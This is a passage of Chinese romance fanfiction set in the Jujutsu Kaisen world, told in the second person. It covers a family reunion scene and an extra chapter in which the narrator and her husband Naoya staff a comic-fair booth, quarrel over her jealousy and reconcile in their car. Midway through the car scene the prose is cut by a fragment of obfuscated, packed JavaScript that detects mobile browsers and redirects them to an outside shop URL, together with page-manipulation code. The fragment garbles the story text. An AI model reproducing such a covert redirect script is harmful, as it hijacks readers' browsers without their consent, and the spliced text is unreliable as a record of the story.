乙骨带着蛋糕,背着一包伴手礼,跟在存在感极强的五条悟身后进了门,他俩才刚坐下,门铃又响起。 “我去开门。”直哉热衷于在你面前表现,也乐意做一个勤劳的好丈夫,他长腿迈出几步就打开了门,然后一整个愣在原地。 爸爸刀发出欢快的刀鸣,仿佛是在欢迎来客。 你奇怪看去,只见门口影影绰绰有两个窈窕美丽的影子。 “哟,小帅哥,听说你和我女儿结婚了?” “里香,进来随便坐,和自己家一样。” “哇,这里有个白头发的大帅哥啊!宝贝你要不和直哉离婚,和他结婚吧!” 是你的妈妈乐岩寺明光!她和里香回来了!? 里香回来可以理解,妈妈居然还活着?! 你震惊地看向爸爸刀,它看起来就很开心,你很快就逻辑自洽:爸爸是个极品恋爱脑,怎么会让妈妈一个人去死…一定是用妖力让妈妈在浅川修炼,等着重逢的那一天。 你遗传了爸爸的恋爱脑,所以你也没办法离开直哉。 乐岩寺看着已经是妖怪却和活着时一模一样的独生女儿,许久才含泪憋出一句:“快带着里香进来吧。” “忧太!”里香如乳燕归巢一般扑向乙骨忧太,被他激动的稳稳接住,现在的里香是少女的形态,两人抱在一起实在是俊男美女,十分般配。 看着热热闹闹的一屋子‘人’,直哉从背后抱住了你,他低头在你的脖子上轻轻亲了一口,用黏糊浓稠的关西腔对你撒娇。 “岳母嫌弃我,你倒是说说她啊……离。” 你转头亲回去,看着他的眼睛,语气认真:“直哉,我不嫌弃,我会永远爱你的。” 直哉整个人僵硬住,因为你说了他一直想要的‘我爱你’,之前你说过他是你的最爱,可是附加了一堆条件,并不是纯粹的‘我爱你’,也没有‘永远’。 “离……再说一遍行吗……” “我永远爱你,直哉。” 他不再言语,只将脑袋搁到你的肩膀上,很快你的肩膀都湿润了。 爱是最扭曲的诅咒,而你,浅川离,将会和你的青梅竹马禅院直哉,一直一直互相诅咒下去。 52.第 52 章[番外] 虽然你们结婚了,已经算成了家的大人了,特别是你,还是两个大族的家主呢!但是你和直哉的日常其实并没有太大的改变。 毕竟乐岩寺有你外公,禅院本来直哉就有在打理,一切照旧就是。 你有一个幼儿园时认识的普通人好友优子,她现在是同人界非常有名气的太太,主画傲娇小狼狗恋爱故事。在很长一段时间里,因为你忙着和直哉恋爱而疏远了和她关系。好在你结婚的时候又和她重逢了,一来二去又熟络起来。 某日,她突然提出了一个不情之请。 你和直哉闻言警觉,毕竟乙骨忧太的不情之请让你俩印象太过深刻了! 优子的要求并不过分:她在东京书展上租赁了一个摊位,但是之前花重金请的两个coser摊主居然放了她鸽子!她是一个极度社恐的宅女,根本不敢亲临现场,所以希望你俩可以帮忙看摊一日,卖她的原创漫画《霸道傲娇小狗爱上我》。 直哉震惊于这种不见外的请求,他刚想冷冷拒绝,你却扯了扯他的衣角。 “好啊。”你答应了下来。 等到优子离开,直哉抬着下巴傲娇提问:“离,干嘛要答应她这种奇奇怪怪的要求,这种事情和我们好像是两个次元的。” “我想和你独处嘛,就你和我的那种,想度过没有人找你汇报工作的一天。”你期待看他,“不行吗?直哉。” 听了你充满依赖的话,直哉的脸微微泛红,耳根尤其,虽然都是老夫老妻(?)了,但是他还是该死的心跳不已…… “我在优子那里是有钱有闲的自由职业者人设,按照这个设定我们应该挺空的!”你根据人际交往分析,“而且,我和她认识了十九年,这是她提的第一个要求呢,拒绝的话不是显得我很不近人情吗……” “哼,行吧。那我们就随便帮一下这个忙好了。”直哉搂过你,小声耳语,“作为交换条件,晚上我可以不用那个吗?” 你猫猫推脸,直接拒绝:“NO!我还不想要孩子!” “哼,坏猫。”他也不急,迟早的事,你俩都不是丁克。 …… 当日你俩起了个大早,直哉穿着衬衫和牛仔裤,你穿连衣裙,很普通人模样出发了。 美其名曰‘夫妻档一日摊主体验’! 直哉起初是非常不习惯的,这种吵闹的庶民扎堆、气味混杂的场合,与他浅川家主丈夫、禅院嫡子、乐岩寺贵婿的矜贵气质格格不入!但眼看着你的面前已经排起长队,一个莫名其妙的想法居然浮现在脑海:如果能卖掉很多,岂不是证明我很强吗? 他也考虑过自己全部买下的作弊方案,可是只有真实顾客才能给摊位贴一个爱心表示支持,虽然也可以和顾客们购买爱心贴纸来作弊,但是你站得那么近,这样的小动作他无法施展。 你看向他,比了一个加油的动作,于是他突然来劲。 书展也由此而来一道诡异的风景线。 在矮小的摊位里,一个肌肉线条流畅的高大眼罩金发男子,穿着石墨色的挺括贵价衬衫,宽肩窄腰,身姿挺拔。他露出的那只金绿色凤眼格外美丽,整个人混合着一股禁欲又高贵的气息。 他面无表情甚至用看垃圾的眼神,飞快地卖着同人本,还语气很差地提醒顾客们快把爱心贴摊位上。 没有顾客觉得直哉是真的不耐烦,只当时这个摊位的cos:漫画名字就是霸道傲娇,很贴啊! 你包着顾客购买的同人本,扭头一看直哉面前大排长龙,排队的都还是年轻漂亮的女孩子…… 没来由地,你在心里总结了一下直哉此刻的萌点:伤疤带来了颓废感,单边眼罩带来了神秘感,有肌肉却不过分,看起来很好摸的样子……最后加上恶劣的屑人态度,这些元素混合在一起,真的还挺吸引人的… “哇,这个角色好贴啊!” “好帅噢,皮肤好白嫩,肌肉鼓鼓的好有安全感噢。” “他这个看垃圾的眼神也演的很好呀……” “快去买一点!可以和他说说话!” “你好帅啊,可以合影吗?” “你的战损妆化的好好噢……” 你以为‘战损’两字会惹直哉暴怒,没想到他居然眼皮子都没有抬一下,只拿出两本书塞到说话的女孩手上,催促她快点买,买了记得把爱心贴柜台上,快点,贴好就快点离开! 他恶劣的态度让以为是演技的女孩子们又‘哇哦’一片,演得也太好了! 看着那么多女孩子围着直哉,你的心里有些不是滋味,他是你的小狗啊,为什么别人在玩你的小狗…… 直哉虽然觉得这群小丫头叽叽喳喳的有点烦,但是看到身后箱子里本来堆积如山的同人本光速减少,你还向他投来了很钦佩的目光(?),他的心里莫名升起了一股成就感。 ‘呵,笨猫,好好看着吧,看你男人把书全部卖光。’ 于是他更加‘敬业’地接待着每一位顾客,甚至有人小心翼翼的提问‘可以握手吗’,他也忍着没有发火,只冷酷说了‘不行’。他的拒绝让他在顾客眼里的人设更加立体:傲娇刻薄的一只眼战损小狼狗。 顾客们非带没有生气,反而觉得真棒!好敬业的演绎! “小姐姐,你这本画集是自己画的吗?太棒了!可以签名吗?” “这个银发角色是你自己吗?好漂亮啊!不过没你本人漂亮!可以加个LINE交换绘画技巧吗?” 当然也有很多男顾客和你搭讪,可是看着他们平平无奇的脸,再想想你美味的直哉,你对他们完全提不起兴趣,只说已经结婚了,结果他们更高兴了(?) ‘她们为什么靠那么近啊,我们很明显是夫妻吧?’ 并没有人认为你们是夫妻,因为你们的外貌都太过突出,顾客以为你们是摊主高薪聘请的coser,营业搭档罢了! 在摊宣的时候,你的好朋友优子已经放话出去,说她花血本请了很厉害的coser呢!所以你和直哉在顾客眼里100%就是那两个coser老师。 ‘直哉那个笨蛋!看起来很享受……’ 习惯了直哉视线的追随与注视,当他专注于和其他女孩子的‘交流’时,你这个恋爱脑小狐狸感到了沮丧委屈,如果你的尾巴可以现行,现在一定是耷拉着的。 日暮西沉,你们的书卖的精光,摊位上也被爱心贴满,你的脸色从开心到勉强,再到现在的彻底阴沉。 直哉沉浸在‘你男人我真棒’的成就感里,一时间也没发现你的沮丧。 …… 因为直哉不想让家族的人知道你俩来摆摊,所以今天并没有安排司机接送,你上车后他帮你系好了安全带,刚准备帅气地发动车子,却发现你黑着脸不说话。 “离?”直哉终于后知后觉的发现了你的不对劲,他伸出手来试图碰你,被你哼了一声躲开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213304|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直哉想问你到底怎么了,并且试探性地邀功:“怎么了?书不是都卖完了吗?我很厉害吧?” 他不提这个还好,一提,你憋了一下午的情绪彻底决堤。 你猛然甩开直哉伸过来想碰你脸的手,肩膀抖动,眼眶也开始泛红,鼻子皱得像小猫,委委屈屈开哭。 直哉惊呆,他没想到书卖完了你是这个反应,难道说你并不想卖完?你可能想自己留几本? 这种莫名其妙的漫画书有什么好留的……内容都是亲来亲去,一点深度都没有。 而且摊主不是你朋友吗?你真想要和她要多少有多少啊…… 不过这不重要了! 他有些慌神:“哭什么?谁欺负你了?” 他开始回忆下午有没有哪个顾客对你出言不逊,虽然他在认真卖书,但是始终分了一部分注意力在你的身上。 好像并没有人说难听的话啊……都是拙劣的讨好,甚至有男人排队十几次来买书,就是想和你多说几句话,这些他可都很好涵养地忍了呢,毕竟不能在外面给你丢脸。 你抽噎着,声音断断续续:“你,你……今天和那么多女孩子说话了。” 直哉愣住:“不是你让我多卖点的吗?” 你哭得更凶:“可是你那么享受,连续一个小时都没有和我说话……” 直哉在心中算了一下日期,惊觉明天是你的生理期!这是经前综合征没跑了!每个月这几天,你这只坏猫会变得特别多愁善感,嘤嘤嘤和呜呜呜的概率也会极大提升! 这时候和你讲道理的效果不大。 他一把将你从副驾驶拉了过来,放在腿上抱在怀里低头吻住,动作一气呵成,力气大到你都挣脱不开!吻着吻着他开始啃你的脸,把你的泪水都舔舐干净,你坐在他的身上逐渐放软身体,也忘记了委屈,抱着金毛脑袋就用力亲了回去。 亲到你脸颊绯红,他呼吸粗重,你俩才稍微松开对方。 你小脸带泪,情绪却已经平复下来,开始给直哉讲道理:“是你不好,你忽略我的感受了。” 对你这样的反应,直哉其实受用的很,其实在涩谷事后他时常患得患失,只要你稍微冷淡一点,他就会担心被你抛弃。 你这样的‘作’一下才让他有满满的安全感:我的妻子还是这么在乎我……我也好爱她。 他再次轻轻舔吻你,在你耳边用粘稠的关西腔呢喃:“好啦,是我不好,回去由你处置。” “哼,懒得理你!”你拍打他的胸膛,触感还是那样软软弹弹,虽然嘴上还不饶人,但是你心里已经满意了,直哉狗狗祟祟想讨好你的时候是最可爱的! “回去你想做什么都行。” “笨蛋直哉!” “坏猫……” 他很舍不得地将你微微举起,放回副驾驶的座位上,再给你扣好安全带。 还好你们在地下车库,如果是在路上,后面的车绝对会疯狂按喇叭,轰走你们这对烦人的恋爱脑。 吵架、亲亲、和好,再吵架无限循环,对你们来说简直是呼吸一样简单。 回到乐岩寺宅,你们的一日夫妻档摊主正式结束! 成果如下:脱离了一天咒术界,你们的感情更好了,优子的书也卖完了! 虽然你回家就呼呼大睡什么也没做,直哉抱着你还是心满意足,偷偷狂亲你脑门。 ‘小猫为我吃醋也……’